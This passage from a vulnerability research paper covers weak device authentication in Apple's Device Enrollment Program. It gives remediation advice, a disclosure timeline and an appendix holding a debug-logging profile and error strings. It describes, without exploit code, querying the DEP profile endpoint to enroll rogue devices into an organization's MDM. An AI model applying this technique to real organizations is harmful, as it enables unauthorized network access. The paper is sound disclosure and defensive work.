This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network.

010. Remediation

The weaknesses in Apple's Device Enrollment Program authentication outlined in this paper can be remediated in several ways. Some of the recommended remediation steps will require re-architecting how DEP and MDM enrollment work, and could require hardware changes, while others are more straightforward and can be implemented directly by customers using DEP.

Remediation (Apple)

There are a number of steps that can be taken by Apple to establish strong authentication and trust while still ensuring a relatively frictionless, streamlined user experience and device deployment process. These are discussed in more detail below.

Device Attestation

As part of future improvements to DEP and MDM on macOS, Apple could leverage the UID (Unique ID) that's generated in the Secure Enclave on the T1 and T2 chips to uniquely identify the device as part of the DEP enrollment process. This could provide cryptographic assurance of the identity of a given device before enrolling it into an organization's MDM server via DEP. One of the downsides of this approach, however, is that only newer Mac computers have these chips built-in. At the time of this writing, only the following Mac computers ship with either the T1 or T2:

Mac computers with the Apple T2 chip:

  • iMac Pro
  • MacBook Pro (15-inch, 2018)
  • MacBook Pro (13-inch, 2018, Four Thunderbolt 3 ports)

Mac computers with the Apple T1 chip:

  • MacBook Pro (15-inch, 2017)
  • MacBook Pro (13-inch, 2017, Four Thunderbolt 3 ports)
  • MacBook Pro (13-inch, 2017, Two Thunderbolt 3 ports)
  • MacBook Pro (15-inch, 2016)
  • MacBook Pro (15-inch, 2016)
  • MacBook Pro (13-inch, 2016, Two Thunderbolt 3 ports)

Although the number of Mac computers with either of these chips is seemingly growing, it may take a while for all new computers that Apple sells to contain one of them, (or a similar, newer chip). It will take even longer still for organizations using DEP to retire all Mac computers that don't contain one of these chips.

Rate-Limiting DEP API Requests

During our testing, we found no evidence of strict rate limiting on the iprofiles.apple.com/macProfile API endpoint. We were able to send requests to this API as quickly as we could set up and tear down our lldb session with cloudconfigurationd. Although not foolproof, further rate limiting this API could reduce the rate at which an attacker could glean information about DEP-registered devices. This is a balancing act, though, because requests fail for legitimate reasons and an aggressive rate limit could result in a poor first setup experience.

Additionally, it may be difficult for Apple to distinguish between legitimate and illegitimate requests to the DEP API. For example, it would be difficult to differentiate between an organization simultaneously enrolling many devices behind a single NAT gateway and an attacker sending many requests to the DEP API from a single machine.

Limit Requests to /macProfile to... Macs!

In our testing, we discovered that sending a valid, DEP-registered iOS serial number to the API at iprofiles.apple.com/macProfile will return a DEP profile for the given iOS device when instrumenting cloudconfigurationd on macOS. Apple could reject any request to this endpoint that provides a non-Mac serial number. Preventing this wouldn't deter an attacker only submitting Mac serial numbers to the endpoint, but would prevent one from retrieving a DEP profile for an iOS device from a macOS device.

User Authentication

Apple could implement modern authentication support via SAML or OIDC as part of the DEP enrollment process. Administrators could then require that end users be strongly authenticated prior to DEP enrollment.

Remediation (Customers)

There are steps organizations can take to limit the effects or poor device authentication with DEP. These are outlined below, and are documented by Apple in the Apple Business Manager Help documentation.

User Authentication

One method customers using DEP can implement to prevent unauthorized MDM enrollment is to require user authentication. This will not work for every organization, though, because in order for it to be feasible, the authentication server needs to be reachable by the MDM server, which in many cases is not a service the organization operates or controls.

Zero-Trust MDM (ZTM)

Limiting the scope of what a DEP-enrolled macOS or iOS device can do can help mitigate the issues presented in this paper surrounding DEP authentication. Just as zero-trust networks place no trust in a given computer network, and assume all networks are hostile, we should do the same with DEP-enrolled devices. This doesn't necessarily require a diminished user experience, though, because once the user is strongly authenticated, the enrollment and configuration process could continue.

In this scenario, if an attacker succeeded in enrolling a rogue device, they would only be able to access an application that requires them to be strongly authenticated before continuing. Once the user has successfully authenticated and is determined to be authorized, the rest of the configuration could be completed.

In general, we recommend that enrollment in DEP not be used as a mechanism to determine if a device is trusted or not.

011. Summary

Regardless of the authentication weaknesses in the current implementation of Apple's Device Enrollment Program, there's no question that it still provides value for organizations with large fleets of Apple devices.

Although Apple could be doing more to protect itself and its customers using DEP, a lot of the mitigations (such as device attestation) only recently became feasible due to new hardware capabilities.

It will take time for these changes to be fully realized, and for Apple's customers that are leveraging DEP to benefit from them, but the future looks bright. In the meantime, Apple customers using DEP can protect themselves by requiring user authentication prior to MDM enrollment, or by not trusting devices simply because they're enrolled in MDM.

012. Disclosure Timeline

Below is a summary of the timeline starting with when we discovered the authentication weakness in DEP and leading up to this research being published:

  • 2018-05-16: Initial report to Apple.
  • 2018-05-17: Acknowledgement from Apple.
  • 2018-08-16: 90 days since first report.
  • 2018–09–27: Research published.
  • 2018-09-28: Public Disclosure at ekoparty Security Conference.

013. Acknowledgements

James Barclay, Pepijn Bruienne and Todd Manning conducted this research at Duo Security in April and May of 2018. Olabode Anise and Rich Smith contributed to the section on brute-forcing Apple Serial Numbers.

We'd like to thank Pepijn Bruienne, Jesse Peterson and Victor Vrantchan for their previous DEP research, and for first discovering the weaknesses in DEP authentication covered in this paper.

Lastly, we'd like to thank Jesse Endahl and Max Bélanager for their excellent paper on DEP and MDM security, A Deep Dive into macOS MDM (and how it can be compromised).

014. References

015. Appendix

mdmdebug.mobileconfig Configuration Profile

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadDisplayName</key>
<string>ManagedClient logging</string>
<key>PayloadEnabled</key>
<true/>
<key>PayloadIdentifier</key>
<string>com.apple.logging.ManagedClient.1</string>
<key>PayloadType</key>
<string>com.apple.system.logging</string>
<key>PayloadUUID</key>
<string>ED5DE307-A5FC-434F-AD88-187677F02222</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>Subsystems</key>
<dict>
<key>com.apple.ManagedClient</key>
<dict>
<key>DEFAULT-OPTIONS</key>
<dict>
<key>Default-Privacy-Setting</key>
<string>Public</string>
<key>Level</key>
<dict>
<key>Enable</key>
<string>debug</string>
<key>Persist</key>
<string>debug</string>
</dict>
<key>TTL</key>
<dict>
<key>Debug</key>
<integer>7</integer>
<key>Default</key>
<integer>7</integer>
<key>Info</key>
<integer>7</integer>
</dict>
</dict>
</dict>
<key>com.apple.SCEP</key>
<dict>
<key>DEFAULT-OPTIONS</key>
<dict>
<key>Default-Privacy-Setting</key>
<string>Public</string>
<key>Level</key>
<dict>
<key>Enable</key>
<string>debug</string>
<key>Persist</key>
<string>debug</string>
</dict>
</dict>
</dict>
</dict>
</dict>
<dict>
<key>PayloadDisplayName</key>
<string>MDM debug mode</string>
<key>PayloadType</key>
<string>com.apple.mdmclient</string>
<key>EnableDebug</key>
<true/>
<key>PayloadIdentifier</key>
<string>com.apple.logging.ManagedClient.3</string>
<key>PayloadUUID</key>
<string>332DE307-A5FC-434F-AD88-187677F02222</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
<dict>
<key>PayloadDisplayName</key>
<string>ALR debug mode</string>
<key>PayloadType</key>
<string>com.apple.mcx.alr</string>
<key>EnableDebug</key>
<true/>
<key>PayloadIdentifier</key>
<string>com.apple.logging.ManagedClient.4</string>
<key>PayloadUUID</key>
<string>442DE307-A5FC-434F-AD88-187677F02222</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
<dict>
<key>PayloadDisplayName</key>
<string>ManagedClient logging</string>
<key>PayloadType</key>
<string>com.apple.MCXDebug</string>
<key>collateLogs</key>
<string>1</string>
<key>debugOutput</key>
<string>-2</string>
<key>PayloadIdentifier</key>
<string>com.apple.logging.ManagedClient.5</string>
<key>PayloadUUID</key>
<string>552DE307-A5FC-434F-AD88-187677F02224</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</array>
<key>PayloadDescription</key>
<string>Enables ManagedClient debug mode and logging</string>
<key>PayloadDisplayName</key>
<string>MCX debug mode and logging</string>
<key>PayloadIdentifier</key>
<string>com.apple.logging.ManagedClient</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadScope</key>
<string>System</string>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>D30C25BD-E0C1-44C8-830A-964F27DAD4BA</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>ConsentText</key>
<dict>
<key>default</key>
<string>Installing this profile will enable debug mode and extended logging for the ManagedClient and MDM components. The extended logging will cause potentially sensitive information such as usernames and URLs to be included in the system log. Passwords should not be included. This information will be included in 'sysdiagnose' reports and may be sent to Apple in crash reports.</string>
</dict>
</dict>
</plist>

Errors.strings Output

$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
{
CLOUD_CONFIG_ABSINTHE_ERROR_P_OSSTATUS" => "The device could not sign the configuration request. Error: %@.
CLOUD_CONFIG_BAD_FORMAT_ERROR" => "The Device Enrollment configuration for this device is invalid.  Please contact your system administrator.
CLOUD_CONFIG_DAEMON_BUSY_ERROR" => "A Device Enrollment server request is already in progress. Please try again later.
CLOUD_CONFIG_INTERNAL_ERROR" => "The device failed to request configuration. Please try again later.
CLOUD_CONFIG_INVALID_CONFIG_BAG" => "Unable to retrieve the Device Enrollment server information.  Please contact your system administrator or try again later.
CLOUD_CONFIG_INVALID_DEVICE_ERROR" => "The Device Enrollment service could not verify the identity of this device. Please contact your system administrator.
CLOUD_CONFIG_MAX_RETRIES_EXCEEDED" => "The Device Enrollment server is unavailable. Please try again later.
CLOUD_CONFIG_SERIAL_NUMBER_MISSING" => "Unable to determine device serial number.  Please contact your system administrator or try again later.
CLOUD_CONFIG_SERVER_BUSY_ERROR" => "The Device Enrollment server is busy. Please try again later.
CLOUD_CONFIG_SERVER_DOWN_ERROR" => "The Device Enrollment server is unavailable or busy.  Please contact your system administrator or try again later.
CLOUD_CONFIG_SERVER_TRUST_ERROR" => "The Device Enrollment server trust could not be verified. Please contact your system administrator.
CLOUD_CONFIG_XPC_FAILURE" => "Unable to communicate with the local Device Enrollment service. Please try again later.
}